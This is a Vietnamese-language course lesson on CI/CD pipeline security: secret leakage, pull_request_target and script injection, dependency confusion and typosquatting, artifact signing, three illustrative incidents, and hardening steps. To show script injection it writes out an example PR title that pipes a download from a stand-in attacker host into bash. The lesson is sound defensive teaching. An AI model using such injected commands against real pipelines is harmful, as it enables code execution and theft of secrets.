Product Management
Đăng nhập
ESC

Nhập từ khóa để tìm kiếm

↑↓ Di chuyển
Enter Mở
ESC Đóng

Bài 27 — CI/CD Pipeline Security

Đã đọc 0/14 mục · còn khoảng 13 phút
Cách chúng tôi ghi nhận

Một mục được tính là đã đọc khi nó nằm giữa màn hình đủ lâu so với độ dài của nó (bảng và sơ đồ tính một nửa), bạn vẫn đang cuộn hoặc bấm phím, và bạn đã thấy tới cuối mục. Lướt nhanh hoặc để tab mở không được tính. Chúng tôi chỉ lưu thời gian đọc từng mục — không lưu gì khác.

Mở đầu — vì sao bài này quan trọng

Hãy hình dung pipeline CI/CD của bạn như một dây chuyền sản xuất tự động: code được đẩy lên, máy móc tự động build, test, đóng gói và mang ra tận môi trường production. Nghe rất tiện. Nhưng có một sự thật ít người để ý: dây chuyền tự động đó chính là một trong những mục tiêu béo bở nhất đối với kẻ tấn công. Vì sao? Vì nó có trong tay ba thứ mà hacker thèm muốn nhất: quyền truy cập vào toàn bộ mã nguồn, các bí mật (secrets) để đăng nhập vào cloud và cơ sở dữ liệu, và quyền tự động deploy thẳng ra production mà không cần con người phê duyệt từng bước.

Nói cách khác, nếu ai đó chiếm được pipeline của bạn, họ không cần hack từng server. Họ chỉ cần để pipeline làm việc đó giúp họ — một cách hợp lệ, có ký tên, có log đàng hoàng. Đây chính là bài học đau đớn mà cả thế giới rút ra từ các vụ như SolarWinds (2020) hay Codecov (2021), khi kẻ tấn công không phá cửa mà đi thẳng vào qua "cổng CI/CD".

Trong khóa học này, bạn đã học cách xây pipeline chạy nhanh, chạy đúng. Bài 27 tập trung vào một câu hỏi khác hẳn: làm sao để pipeline đó không trở thành cửa hậu cho kẻ xấu? Chúng ta sẽ mổ xẻ bề mặt tấn công (attack surface) đặc thù của CI/CD, và cách bịt từng lỗ hổng một cách có hệ thống. Đây không phải kiến thức "cho vui" — với bất kỳ ai làm DevOps ở công ty có dữ liệu người dùng thật, đây là kỹ năng sống còn.

Khái niệm cốt lõi

Bảo mật pipeline khác với bảo mật ứng dụng thông thường ở chỗ: chúng ta không chỉ lo cho code chạy đúng, mà lo cho chính hệ thống build code. Kẻ tấn công có bốn hướng chính để đánh vào một pipeline. Ta gọi đây là bốn nhóm bề mặt tấn công.

1. Secrets bị lộ trong môi trường CI

Pipeline cần secrets để làm việc: token đăng nhập registry, khóa API cloud, mật khẩu database, chữ ký để publish app. Vấn đề là những secrets này sống trong một môi trường rất "đông người qua lại" — bất kỳ ai commit được code chạy trong pipeline đều có khả năng chạm tới chúng.

Các cách secrets bị rò rỉ phổ biến: in nhầm ra log (echo $DB_PASSWORD để debug rồi quên xóa), lưu cứng trong file .yml đẩy lên repo, hoặc một step độc hại cố tình gửi biến môi trường ra ngoài. Một nguyên tắc cốt lõi: secret nào không cần cho một job cụ thể thì đừng inject vào job đó. Nguyên tắc least privilege (đặc quyền tối thiểu) áp dụng cả cho từng biến môi trường.

2. Code injection qua Pull Request không tin cậy

Đây là lỗ hổng tinh vi và bị đánh giá thấp nhất. Khi một người lạ (contributor bên ngoài, hoặc kẻ tấn công đã tạo tài khoản) mở một Pull Request vào repo của bạn, pipeline thường tự động chạy để test PR đó. Nghĩa là: code của người lạ đang được thực thi trên runner của bạn — nơi có thể chạm tới secrets và mạng nội bộ.

Với GitHub Actions, lỗ hổng kinh điển là trigger pull_request_target. Trigger này chạy với ngữ cảnh (context) của repo gốc — tức là có quyền truy cập secrets — nhưng lại checkout code từ PR của người lạ. Nếu bạn vô tình chạy build script từ PR đó, kẻ tấn công chỉ cần sửa file package.json hoặc thêm một dòng vào script build là đã có thể đọc trộm secret và gửi đi.

Một biến thể khác là script injection qua tiêu đề PR/commit. Nếu workflow của bạn có dòng như run: echo "PR title: ${{ github.event.pull_request.title }}", kẻ tấn công đặt tiêu đề PR là "; curl evil.com | bash; echo " thì lệnh độc hại sẽ được chèn thẳng vào shell.

3. Supply chain — dependency và tool bị chiếm

Pipeline hiện đại kéo về hàng trăm phụ thuộc: package npm, image Docker base, các action bên thứ ba (uses: some-org/some-action@v1). Mỗi thứ đều là một điểm tin cậy. Nếu một trong số đó bị chiếm, code độc hại chạy ngay trong pipeline của bạn.

Các dạng tấn công chuỗi cung ứng: dependency confusion (kẻ tấn công publish một package public trùng tên với package nội bộ của bạn, khiến trình quản lý gói tải nhầm bản độc), typosquatting (đặt tên package gần giống package phổ biến, ví dụ crossenv thay vì cross-env), và compromised action (một GitHub Action bạn tin dùng bị hack và bản @v1 bị thay bằng bản độc). Vụ Codecov 2021 là ví dụ điển hình: script uploader của Codecov bị chèn mã, và vì hàng nghìn pipeline chạy script đó, secrets của họ bị hút đi hàng loạt.

4. Build integrity — toàn vẹn của quá trình build và artifact

Nhóm cuối cùng liên quan đến việc đảm bảo thứ bạn deploy đúng là thứ bạn đã build từ code đã review — không bị ai chèn thêm ở giữa. Nếu runner bị chiếm, kẻ tấn công có thể build ra một artifact chứa backdoor nhưng vẫn mang đúng tag, đúng version. Đây là lý do các khái niệm như provenance (chứng minh nguồn gốc artifact), artifact signing (ký số artifact bằng công cụ như cosign/Sigstore), và khung SLSA (Supply-chain Levels for Software Artifacts) ra đời — để mỗi artifact có "giấy khai sinh" chứng minh nó được build từ commit nào, bằng pipeline nào.

Tình huống thực tế

Ví dụ 1: Sàn TMĐT ở TP.HCM và cái token AWS bị hút mất

Một công ty thương mại điện tử tại TP.HCM (gọi là "ShopViet") có repo mã nguồn mở phần thư viện UI để cộng đồng đóng góp. Workflow test của họ dùng pull_request_target để chạy được cả trên PR từ người ngoài, và trong workflow đó họ inject sẵn AWS_ACCESS_KEY để upload kết quả test lên S3.

Một người lạ mở một PR "sửa lỗi chính tả" trong README, nhưng đồng thời sửa nhẹ file jest.config.js để nó chạy một đoạn script đọc toàn bộ biến môi trường và gửi POST tới một server bên ngoài. Vì pull_request_target chạy với secrets của repo gốc, token AWS bị hút đi trong vòng 40 giây. Nửa ngày sau, đội DevOps phát hiện hóa đơn AWS phát sinh gần 1.800 USD do kẻ tấn công dựng máy đào tiền ảo bằng chính tài khoản của họ.

Bài học: Không bao giờ inject secrets vào workflow chạy code từ PR không tin cậy. Dùng trigger pull_request thông thường (không có quyền secrets) cho PR bên ngoài, và tách phần cần secrets sang một workflow riêng chỉ chạy sau khi maintainer đã review và gắn nhãn phê duyệt. ShopViet sau đó áp dụng cơ chế "yêu cầu approval trước khi chạy workflow với người đóng góp lần đầu" của GitHub — một switch bật đúng một lần và đã chặn được hàng loạt PR dò xét về sau.

Ví dụ 2: Fintech Singapore và cú dependency confusion

Một startup fintech ở Singapore có một package nội bộ tên @acme/payment-utils được host trên registry riêng. Do cấu hình npm registry không chặt, khi kẻ tấn công publish một package public tên acme-payment-utils (bỏ dấu @, đổi định dạng) với số version cao ngất 99.0.0, một số máy build trong CI đã tải nhầm bản public độc hại thay vì bản nội bộ. Package đó chứa một postinstall script đọc file cấu hình và gửi khóa ký giao dịch ra ngoài.

May mắn là đội security phát hiện lưu lượng mạng bất thường từ runner (một kết nối tới domain lạ trong lúc npm install) nhờ giám sát egress. Họ khóa pipeline trong 2 giờ, xoay (rotate) toàn bộ secrets, và thiệt hại được khống chế trước khi khóa ký bị lạm dụng.

Bài học: Cấu hình rõ scope registry cho package nội bộ (dùng .npmrc gắn scope @acme: với registry riêng), bật kiểm tra tính toàn vẹn qua lockfile (npm ci thay vì npm install), và chặn hoặc rà soát postinstall script. Quan trọng không kém: giám sát lưu lượng đi ra (egress) của runner — một pipeline lành mạnh hiếm khi cần kết nối tới domain lạ.

Ví dụ 3: Agency ở Hà Nội và secret in ra log

Một agency phần mềm ở Hà Nội nhận làm dự án cho khách. Một bạn junior khi debug lỗi deploy đã thêm dòng echo "Deploying with key: $DEPLOY_SSH_KEY" để xem key có được truyền vào không, rồi commit luôn. Log build của họ để chế độ public (do dự án open-source demo cho khách xem). Khóa SSH nằm phơi trong log suốt 3 tuần trước khi một script tự động của kẻ tấn công quét thấy và dùng nó để đăng nhập vào server staging, cài mã độc.

Bài học: Không bao giờ echo secret, kể cả để debug. Dùng cơ chế masking của nền tảng (GitHub Actions tự động che các giá trị đăng ký là secret), để log build ở chế độ private, và bật secret scanning (như GitGuardian, TruffleHog, hoặc GitHub Secret Scanning) để phát hiện secret bị commit nhầm. Đồng thời đặt quy tắc: mọi secret có nguy cơ lộ đều phải rotate ngay, không chần chừ vì "chắc không ai thấy".

Hướng dẫn từng bước

Dưới đây là quy trình cứng hóa (hardening) một pipeline, đi từ dễ tới khó. Bạn có thể áp dụng dần.

Bước 1 — Kiểm kê bề mặt tấn công. Liệt kê: pipeline của bạn dùng những trigger nào? Có trigger nào chạy trên PR từ người ngoài không? Những secrets nào đang được inject và vào job nào? Có dùng action/plugin bên thứ ba nào không? Không thể bảo vệ thứ mình chưa nhìn thấy.

Bước 2 — Áp least privilege cho quyền và secrets. Với GitHub Actions, đặt permissions: ở mức tối thiểu (mặc định nên là read-all, chỉ nâng quyền khi job cần). Mỗi secret chỉ inject vào đúng job cần nó. Ưu tiên OIDC token ngắn hạn thay cho khóa cloud tĩnh dài hạn — thay vì lưu AWS_ACCESS_KEY, cho pipeline lấy token tạm thời qua OIDC, hết job là token hết hạn.

Bước 3 — Cô lập PR không tin cậy. Tách workflow thành hai: một workflow không secrets chạy test cho mọi PR, và một workflow có secrets chỉ chạy sau khi maintainer phê duyệt. Bật "Require approval for first-time contributors". Tuyệt đối tránh dùng pull_request_target để checkout và chạy code từ PR.

Bước 4 — Ghim (pin) mọi phụ thuộc. Ghim action theo SHA commit đầy đủ thay vì tag (uses: actions/checkout@8f4b7f8... thay vì @v4), vì tag có thể bị dịch chuyển. Dùng lockfile và cài bằng lệnh deterministic (npm ci, pip install -r requirements.txt --require-hashes). Ghim image Docker base theo digest (@sha256:...).

Bước 5 — Quét liên tục. Cắm secret scanning để chặn commit chứa secret ngay từ đầu. (Lưu ý: các kỹ thuật quét SAST/DAST/SCA được đào sâu ở Bài 15, còn quản lý secret chi tiết ở Bài 16 — ở bài này ta chỉ xét chúng ở góc độ bảo vệ chính pipeline.)

Bước 6 — Đảm bảo toàn vẹn artifact. Ký artifact/image bằng cosign, sinh provenance, và ở phía deploy chỉ chấp nhận artifact có chữ ký hợp lệ. Đây là chốt chặn cuối chống việc kẻ tấn công tuồn artifact giả vào production.

Bước 7 — Giám sát và có kịch bản phản ứng. Bật log audit cho pipeline, giám sát egress của runner, và chuẩn bị sẵn quy trình rotate secrets khi có sự cố. Câu hỏi cần trả lời trước: "Nếu token bị lộ lúc 2 giờ sáng, ai xoay nó và mất bao lâu?"

Lỗi thường gặp & mẹo

  • Nghĩ rằng "repo private nên an toàn". Sai. Contributor nội bộ vẫn có thể bị lộ tài khoản, và một PR độc hại từ tài khoản đã bị chiếm cũng nguy hiểm y như từ người ngoài. Bảo mật pipeline không phụ thuộc repo public hay private.
  • Dùng latest cho image và tag cho action. node:latest hay some-action@v1 có thể thay đổi âm thầm bên dưới. Luôn ghim theo digest/SHA để build có thể tái lập và không bị "kéo về" bản độc.
  • Debug bằng cách in secret. Đây là nguyên nhân rò rỉ số một trong thực tế. Nếu cần kiểm tra secret có tồn tại không, in độ dài của nó (${#SECRET}) chứ đừng in giá trị.
  • Cho self-hosted runner quá nhiều đặc quyền và không cô lập. Runner tự host mà chạy trên máy có quyền vào mạng nội bộ là mỏ vàng cho kẻ tấn công. Nên chạy runner trong môi trường ephemeral (dùng một lần rồi hủy), tách mạng. (Chủ đề self-hosted runner được bàn kỹ ở Bài 25.)
  • Quên rotate sau sự cố. Nhiều đội phát hiện secret bị lộ nhưng ngại rotate vì "sợ gãy pipeline". Kết quả là secret cũ bị lạm dụng nhiều tuần sau. Mẹo: thiết kế secret để có thể rotate trong vài phút — coi việc rotate là thao tác thường ngày, không phải sự kiện khẩn cấp.
  • Mẹo vàng — coi input từ bên ngoài là độc hại theo mặc định. Tiêu đề PR, tên branch, nội dung commit, biến từ webhook đều là dữ liệu do người ngoài kiểm soát. Đừng bao giờ nhét thẳng chúng vào lệnh run:. Nếu buộc phải dùng, đưa qua biến môi trường trung gian rồi mới tham chiếu, để tránh script injection.

Bài tập thực hành

  • Rà soát workflow của bạn. Mở một repo bạn đang làm, tìm tất cả trigger. Nếu có pull_request_target, xác định xem nó có checkout và chạy code từ PR không. Ghi lại rủi ro và đề xuất cách tách workflow an toàn.
  • Thử nghiệm masking. Tạo một workflow test với một secret giả. Thử echo giá trị secret ra log và quan sát cách nền tảng che nó thành *. Sau đó thử "lách" masking bằng cách in secret theo kiểu tách ký tự (ví dụ nối chuỗi), để hiểu vì sao masking KHÔNG phải lá chắn tuyệt đối và tại sao vẫn phải để log private.
  • Ghim phụ thuộc. Lấy một workflow đang dùng action theo tag (@v3, @v4), tra SHA commit tương ứng và đổi sang ghim theo SHA. Ghi chú lại quy trình để cập nhật SHA khi cần nâng version.
  • Mô phỏng dependency confusion (an toàn). Trong một project npm, tạo một .npmrc gắn scope nội bộ vào registry riêng, và giải thích bằng lời cấu hình này chặn được kiểu tấn công ở Ví dụ 2 như thế nào.
  • Viết kịch bản phản ứng sự cố. Soạn một checklist một trang: "Khi nghi ngờ secret CI bị lộ" — gồm các bước xác định phạm vi, rotate, kiểm tra log truy cập, và thông báo. Đây là tài liệu bạn sẽ biết ơn khi sự cố thật xảy ra lúc nửa đêm.

Tóm tắt

Pipeline CI/CD là mục tiêu tấn công hấp dẫn vì nó nắm giữ code, secrets và quyền deploy production. Bốn nhóm bề mặt tấn công cần nhớ: secrets bị lộ trong môi trường CI, code injection qua PR không tin cậy, tấn công chuỗi cung ứng qua dependency và action, và toàn vẹn build/artifact. Nguyên tắc phòng thủ xuyên suốt là least privilege (quyền tối thiểu cho cả job lẫn từng secret), coi mọi input bên ngoài là độc hại, ghim chặt phụ thuộc để build tái lập được, và luôn có sẵn kịch bản rotate khi sự cố xảy ra.

Ba câu chuyện thực tế — token AWS bị hút của sàn TMĐT, dependency confusion ở fintech Singapore, và khóa SSH phơi trong log của agency Hà Nội — cho thấy hậu quả rất cụ thể và tiền bạc rất thật. Điểm chung: các vụ này đều phòng được bằng những thao tác đơn giản, làm một lần. Bảo mật pipeline không đòi hỏi bạn thành chuyên gia an ninh mạng; nó đòi hỏi bạn nhìn pipeline như một tài sản cần bảo vệ, chứ không chỉ là một công cụ tiện lợi. Ở các bài sau (Bài 25 self-hosted runner, Bài 47 compliance), chúng ta sẽ mở rộng thêm các khía cạnh chuyên sâu của chủ đề này.

Học xong bài này rồi? Tạo tài khoản miễn phí để lưu lại — lần sau vào là biết ngay đang dở ở đâu, và học hết khóa thì có chứng chỉ. Lưu tiến độ của tôi